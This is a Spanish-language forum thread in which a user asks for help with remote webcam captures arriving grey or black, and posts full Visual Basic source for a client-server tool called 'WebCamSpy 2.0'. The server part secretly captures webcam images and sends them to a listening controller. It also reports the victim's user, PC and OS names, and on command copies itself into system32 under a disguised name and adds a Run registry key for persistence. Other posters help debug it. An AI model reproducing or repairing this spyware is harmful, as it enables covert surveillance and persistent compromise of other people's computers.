problema captura webcam!!!!!

[?¿?]

  hola, pues tengo un problema y es que las capturas remotas de gente que TIENE webcam las recibo en gris o en negro  , en mi pc localmente si funciona de maravilla pero remotamente  no me captura correcramente...llegan asi las imágenes, cual puede ser el problema ?

[CrÄsH]

k usas para capturar¿

[?¿?]

CrÄsH  se un poco mas claro por favor...no entiendo bien a que te refieres....

[‭‭‭‭jackl007]

tu has hecho el codigo?
porque no lo posteas, para poder mirar...
puede ser que el codigo este optimizado para transferir rapido los frames del video; tonces como estas conectado remotamente, por ello mostraria en blanco y negro para aumentar la velocidad de transmision; y como en local, es muy rapido, lo puedes apreciar a color.

[?¿?]

el codigo de la conexion es de warghost el de multiconexion lo demas la transferencia si lo hice yo hace tiempo, lo que deje de lado la programacion y los ordenadores hace mucho tiempo sobre todo desde que me banearon del foro  y ensima que no tube culpa...pero bueno.

aquí pongo el codigo:



cliente

WCC.frm

Código [Seleccionar] Expandir

Private Type TIPONOTIFICARICONO
    cbSize As Long
    hwnd As Long
    uId As Long
    uFlags As Long
    ucallbackMessage As Long
    hIcon As Long
    szTip As String * 64
End Type
Private Const NIF_MESSAGE = &H1
Private Const NIF_ICON = &H2
Private Const NIF_TIP = &H4
Private Const WM_MOUSEMOVE = &H200
Private Const NIM_ADD = &H0
Private Const NIM_MODIFY = &H1
Private Const NIM_DELETE = &H2
'--------------------
Private Declare Function Shell_NotifyIcon Lib "shell32.dll" _
    Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, _
    pnid As TIPONOTIFICARICONO) As Boolean
'--------------------
Dim gtsicon As TIPONOTIFICARICONO
Dim pazbro As Variant
'------------------------------------------------------------
Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_LBUTTONDOWN = &H201
Private Const WM_LBUTTONUP = &H202
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205
'--------------------pal icono n la barra d tareas----'
Dim dat As String
Public FullIndex As Integer
Public openindex As Integer
Private inDeX_x As Variant

Private Sub cam_Click()
camm.Show
End Sub

Private Sub cls_Click()
On Error Resume Next
Unload Me
Unload camm
Unload new32
End Sub

Private Sub CommandXP1_Click()
On Error Resume Next
S(0).LocalPort = Text1.Text 'establecemos que el puerto local de escucha para el winsock es el que pongamos en una texbox de nombre txtdat y como no el winsock lo llamamos sck
S(0).Close
S(0).Listen 'escuchamos con winsock
FullIndex = 0     ' a la variable TotalIndex le asignamos el valor de 0
Timer1.Interval = 1 ' control Timer, es un control de "tiempo" nos sirve para ejecutar codigo en un intervalo de tiempo especifico con o sin repetirse el ejecución y codigo del timer
If S(0).State = 2 Then  'condicion que si el estado de sck es = a escuchando entonces ponemos en un label , por el puerto que estamos escuchando
Label2.Caption = "                                 Escuchando por el puerto: " & S(0).LocalPort
End If  'fin de la condición
End Sub

Private Sub CommandXP2_Click()
On Error Resume Next
S(0).Close '...
Label2.Caption = "Parado.." '....
Unload camm
Unload new32
Unload Me
Me.Show
Label2.Caption = "Parado.."
End Sub

Private Sub CommandXP3_Click()
lst.SetFocus
lst.StartLabelEdit
End Sub

Private Sub Form_Load()
Call lst.ColumnHeaders.Add(, , "Name", "1400,0500")
Call lst.ColumnHeaders.Add(, , "HostName", "1400,0600") 'Agregamos la clumna hostname , de con esta sintasis: (, , "nombre_de_la_columna_q_quieras_poner", "1000,0631")  el tamaño seria donde pone: "1000,0631"
Call lst.ColumnHeaders.Add(, , "IP/DNS", "1550,1000") 'Agregamos la clumna ip.
Call lst.ColumnHeaders.Add(, , "User & Pc/Names", "1700,1300") 'Agregamos la clumna Nick/PC.
Call lst.ColumnHeaders.Add(, , "S.O", "1400,0890") 'Agregamos la clumna Sistema Operativo.
Call lst.ColumnHeaders.Add(, , "Version", "1000,0945") 'Agregamos la clumna Version.
lst.LabelEdit = lvwManual ' al control listview que lo hemos llamado "lst" n su propiedad "LabelEdit" la ponemos del estilo: lvwManual
Text1.MaxLength = 6
menu.Visible = False
    ' Inicializar el icono de la barra de Tarea
    With gtsicon
        .cbSize = Len(gtsicon)
        ' Usar el picture para interceptar los mensajes de Windows
        .hwnd = Me.PicGTS.hwnd
        .uId = 1&
        .uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
        .ucallbackMessage = WM_MOUSEMOVE
        .hIcon = Icon
        ' Es un string de "C" ( \0 )
        '.szTip = " " & App.Title & "," & sCopyR & " " & Chr$(0)
        .szTip = "  WebCamSpy 2.0 | Click aquí, para restaurarme !!   "
    End With
    Shell_NotifyIcon NIM_ADD, gtsicon
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Unload camm
Unload new32
Unload help
End Sub

Private Sub hlp_Click()

End Sub

Private Sub Label3_Click()
Me.WindowState = 1
End Sub

Private Sub lst_AfterLabelEdit(Cancel As Integer, NewString As String)
On Error Resume Next
inDeX_x = Split(lst.SelectedItem.Key, "|")  ' a la variable vIndex le decimos que es = a Split(lst.selectdintem.key, "|") , que esto seria: split lo usamos para partir, separar datos, n el control lst ( listview ) en la propiedad selectedintem...cuando hemos selecionado un item del listview, separamos los datos con "|"
S(inDeX_x(0)).SendData "datos|" & NewString 'Enviamos paquete con el control winsock ( sck, lo hemos llamado)
End Sub

Private Sub lst_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
On Error Resume Next ' ya lo dije
If lst.SelectedItem.Selected = False Then Exit Sub 'Si no hay nada selecionado salimos de la funcion
If Button = 2 Then ' If para hace una condición, if Button = 2 Then, diria: si button = 2 entonces
PopupMenu menu
End If 'end if = a . fin de la condición :)
End Sub
Private Sub PicGTS_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
    ' Este evento se producirá cuando se pulse en el icono de la barra de tareas
    Static rebool As Boolean, message As Long
   
    ' Averiguar el mensaje que se envía
    message = x / Screen.TwipsPerPixelX
    ' Para que no se entre si aún se está dentro
    If rebool = False Then
        rebool = True
        Select Case message
        Case WM_LBUTTONDBLCLK:
        WCC.WindowState = 0
        Case WM_LBUTTONDOWN:
        Case WM_LBUTTONUP:
       WCC.WindowState = 0
        End Select
        rebool = False
    End If
End Sub

Private Sub S_Close(Index As Integer)
On Error Resume Next
S(0).Close ' cerramos el winsock
Unload camm
Unload new32
Unload AB
Unload help
End Sub

Private Sub S_ConnectionRequest(Index As Integer, ByVal requestID As Long)
On Error Resume Next ' si tenemos un error...seguimos hasta la proxima linea d codec
If Index = 0 Then 'si index es 0
FullIndex = 0 'Definimos la varible TotalIndex.
Else 'Si no
FullIndex = FullIndex + 1 'Definimos la varible TotalIndex.
End If 'Cerramos if
S(Index).Close 'Cerramos conexion ( del winsock )
S(Index).Accept requestID 'Y aceptamos la conexion ( more winsock xD)
Load S(Index + 1) 'Cargamos un nuevo index
S(Index + 1).LocalPort = Text1.Text 'y asignamos el puerto de ecucha para el winsock
openindex = Index + 1 'Definimos la varible IndexAbir.
S(openindex).Listen 'Escuhamos el puerto asignado.
End Sub

Private Sub S_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim lol As Integer
Dim fileprin As Variant
lol = FreeFile
fileprin = "c:\captured.jpg"
camm.Label1.Caption = "Bytes_Recibidos:" & S(Index).BytesReceived
S(Index).GetData dat ' control winsock en su property GetData, donde almasenamos los datos que nos llegan, tenemos los datos en la avriable d nombre: dat, vbString seria: winsock.tienelos_datos, de: dat y vbstring, una cadena del tipo vb
datatwo = Split(dat, "|") ' variable datatwo le decimos que es = a Split(dat, "|"), seria: partimos con split los datos que contiene la variable dat con este sigono --> "|"
Select Case datatwo(0)  ' una condición, n este caso distinta a la sentencia if codigo then else codigo end if , seria esta una condicion del tipo select case..seleciona en caso de:
Case "Conexion" 'Caso de conexion
Set pr = lst.ListItems.Add(, Index & "|", datatwo(1)) 'Agreamos una nueva conexion al control listview
pr.SubItems(1) = datatwo(2)
pr.SubItems(2) = datatwo(3) & "/" & S(Index).RemoteHostIP
pr.SubItems(3) = datatwo(4) & "/" & datatwo(5)
pr.SubItems(4) = datatwo(6)
pr.SubItems(5) = datatwo(7)
new32.Show
new32.Label2.Caption = "    " & datatwo(1)
new32.Label1.Caption = datatwo(3) & "/" & S(Index).RemoteHostIP
new32.Timer1.Enabled = True
End Select



Open fileprin For Binary As #lol
Seek #lol, LOF(lol) + 1
Put #lol, , dat
Close #lol
camm.Timer1.Enabled = True


End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
    Select Case KeyAscii 'Esta funcion solamente permite caracteres ascii del 48 al 57
        Case 48 To 57, vbKeyBack: 'Y la funcion borrar  eso significa que solamente permite numeros
        Case Else: 'retroseso si no es numero su valor vale 0 y no se escribe .
            KeyAscii = 0
    End Select
End Sub

Private Sub Timer1_Timer()
On Error Resume Next ' en caso d error...? ( esto deberias saberlo ya...)
Dim i As Long ' declramos una val d name: i , tipo Long
For i = 1 To lst.ListItems.Count 'Creamos un bucle  , for seria para i es = a 1 to: hasta el control lst(listview) n su property  listitems.Count
inDeX_x = Split(lst.ListItems(i).Key, "|") ' separamos con split
If S(inDeX_x(0)).State <> 7 Then 'Si no estamos conectado
lst.ListItems.Remove (i) 'Elimnaos la conexion
End If
Next i 'Cerramos el bucle
End Sub

Private Sub Timer3_Timer()
If S(0).State = 0 Then
Label2.ToolTipText = "Parado.."
End If
If S(0).State = 2 Then
Label2.ToolTipText = "                             Escuchando por el puerto: " & S(0).LocalPort
End If
End Sub

Private Sub Timer4_Timer()
Dim cuentacuenta As Integer, endfinal As Integer ' declaramos 2 variables integers
Dim i
endfinal = S.Count - 1  ' variable final es = sck.count -1
If endfinal < 0 Then endfinal = 0 ' si final < menos que 0 entonces final = a 0
For i = 0 To endfinal     ' analizamos la variable i hasta el valor de la variable final
If S(i).State = 7 Then 'si esta es conectado...
cuentacuenta = cuentacuenta + 1 ' le asignamos a la val, cuentita el valor de 1
End If ' fin d la condicion
Next i ' fin del bucle
  '& sck.arraycount ' al label2 en su propiedad Caption le ponemos permanentemente el mensaje "Gh0st 1n Th3 Sh3ll", va entre comillas siempre | OFF Topic, luego deberia añadirle si hay una conexion : ghost in the shell: tantos servers conectados ;) estilo bifrost
Label1.Caption = " WebCams Online: " & cuentacuenta
If S(0).State = 2 Then  'condicion que si el estado de sck es = a escuchando entonces ponemos en un label , por el puerto que estamos escuchando
Label2.Caption = "                                  Escuchando por el puerto: " & S(0).LocalPort
End If
End Sub

camm.frm

Código [Seleccionar] Expandir

Private Sub CommandXP1_Click()
On Error Resume Next
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "copiate"
End Sub

Private Sub CommandXP4_Click()
Dim nombre As String
nombre = InputBox("Seleciona el nombre, ejemplo: image.jpg")
SavePicture Image1.Picture, nombre & ".jpg"
End Sub

Private Sub CommandXP5_Click()
On Error Resume Next
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
Kill ("c:\captured.jpg")
WCC.S(inDeX_x(0)).SendData "cammuere" '
Image1.Picture = LoadPicture("")
End Sub

Private Sub CommandXP6_Click()
On Error Resume Next
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "camstop"
End Sub

Private Sub CommandXP7_Click()
On Error Resume Next
Dim inDeX_x As Variant
inDeX_x = Split(WCC.lst.SelectedItem.Key, "|")
WCC.S(inDeX_x(0)).SendData "camon"
End Sub

Private Sub Form_Load()
On Error Resume Next
Label1.Caption = ""
Kill ("c:\captured.jpg")
Image1.Picture = LoadPicture("")
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Image1.Stretch = True
camm.Image1.Picture = LoadPicture("c:\captured.jpg")
Kill ("c:\captured.jpg")
End Sub



servidor

Código [Seleccionar] Expandir

Dim WithEvents s As CSocketMaster
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim ip As String
Dim Port As Long
Dim HostName As String, SName As String, Version As String, datos As String
Private Sub Form_Load()
On Error Resume Next
Set s = New CSocketMaster
Timer2.Enabled = False
Timer1.Interval = 2000
Timer2.Interval = 1
ip = "127.0.0.1"
Port = 2012
s.RemoteHost = ip
s.RemotePort = Port
If GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname") = "" Then
SName = "Default"
Else
SName = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname")
End If
Version = "v1.0"
HostName = s.LocalHostName
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub

Private Sub s_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
s.GetData datos

'----para la webcam----'
   If datos = "camon" Then
   camon
   End If
   
   If datos = "camstop" Then
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
   cammuere
   End If
   
   
   
   If datos = "cammuere" Then
   cammuere
   End If


Select Case Left(datos, 6)
Case "datos|"
Dim nombre As String
SName = Mid(datos, 7)
'Registro
Reg_Crea_KeyConValor &H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "gtsname", SName
End Select




If datos = "copiate" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\system32\iexplorerr.exe" 'nos copiamos a system32 con el nombre de svchosst.exe
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\updateie7", "C:\Windows\system32\iexplorerr.exe"
End If


End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If s.State <> 7 Then
s.CloseSck
s.Connect ip, Port
Timer2.Enabled = True
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
If s.State = 7 Then
s.SendData "Conexion|" & SName & "|" & HostName & "|" & s.LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version
Timer2.Enabled = False
End If
End Sub
Private Function cammuere()
On Error Resume Next
Kill ("c:\Juaz.jpg")
Kill ("c:\Juazcp.jpg")
End Function
Private Function camon()
On Error Resume Next
Dim lol As Integer
Dim frago As Integer
Dim goblin As String
Timer3.Enabled = False
lol = FreeFile
frago = 8192
goblin = "c:\Juazcp.jpg"
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData
SavePicture PV.Picture, "c:\" & "Juaz.jpg"
    PictureView1.OpenPicture ("c:\Juaz.jpg")
    If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
    End If
Open goblin For Binary As #lol
Do While Not EOF(lol)
camun = Input(frago, #lol)
s.SendData camun
DoEvents
Loop
Close #lol
End Function

Function RegWrite(ByVal Path As String, ByVal Value As String)
Dim ws As Object
Set ws = CreateObject("Wscript.Shell")
ws.RegWrite Path, Value, "REG_SZ"
End Function



y un modulo con

Código [Seleccionar] Expandir

Public Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal nID As Long) As Long

Public mCapHwnd As Long

Public Const Connect As Long = 1034
Public Const DISCONNECT As Long = 1035
Public Const GET_FRAME As Long = 1084
Public Const COPY As Long = 1054


mas cosketmaster
mas cjpeg
y el control pictureview


MODIFICO: algunos comentarios y eso están asi porque son de otros codigos mios que los he cojido para armar esta aplicacion  y puedo probarlo por si os quedan dudas. saludos

[‭‭‭‭jackl007]

he estado mirando un poco, y realmente esta muy desordenado tu codigo; uno con el tiempo aprende nuevas formas de programar mejor.
bueno al parecer puede estar al momento de transferir la imagen; pero prueba, no eliminando las imagenes temporales que creas antes de enviarlas colocandole un numero aleatorio, de este modo podras "acorralar" el problema, hasta dar en que parte del codigo esta la incompatibilidad (antes del envio, o durante el proceso de renderizar la imagen es donde "cambia de color").

[?¿?]

si te fijas jackl007 ツ  las temporales juaz.jpg y juazcp.jpg no las elimino, sino me equivoco lo que hago es al volver a darle a capturar, envio "camon" y repite el mismo proceso, osea vuelvo a capturar, entonces sobrescribe y vuelve a crearlas otra vez pero con la nueva captura no 

[‭‭‭‭jackl007]

no hagais problema; agrega una nueva variable (la declaras en la parte principal).
dim Cont as integer

y luego en el load: Cont = 0

y ahora agregas esto:  ... = "juaz" & str(Cont) & ".jpg"
y debajo de esa linea (o donde ya no se use mas)
vas aumentando el numero asi: Cont = Cont + 1
entonces alli usaras las imagenes, pero estaran avanzando secuencialmente.

Es que ahora tu problema se reduce a investigar en que parte del codigo esta apareciendo el conflicto para poder resolverlo; asi que ser muy minucioso en esa investigacion.

[?¿?]

jackl007 ツ  podrias contestarme a los privados 

[?¿?]

buenas, podrian decirme, por qué cuando le doy a capturar otra imágen de la webcam me sale: selecionar dispositivo  .

la primera ves que capturo bien, recibo la captura y la hace perfectamente  pero cuando doy otra vez al command button me da a elegir el dispositivo de captura 

como puedo solucionarlo 

eso es todo, gracias, saludos para todos.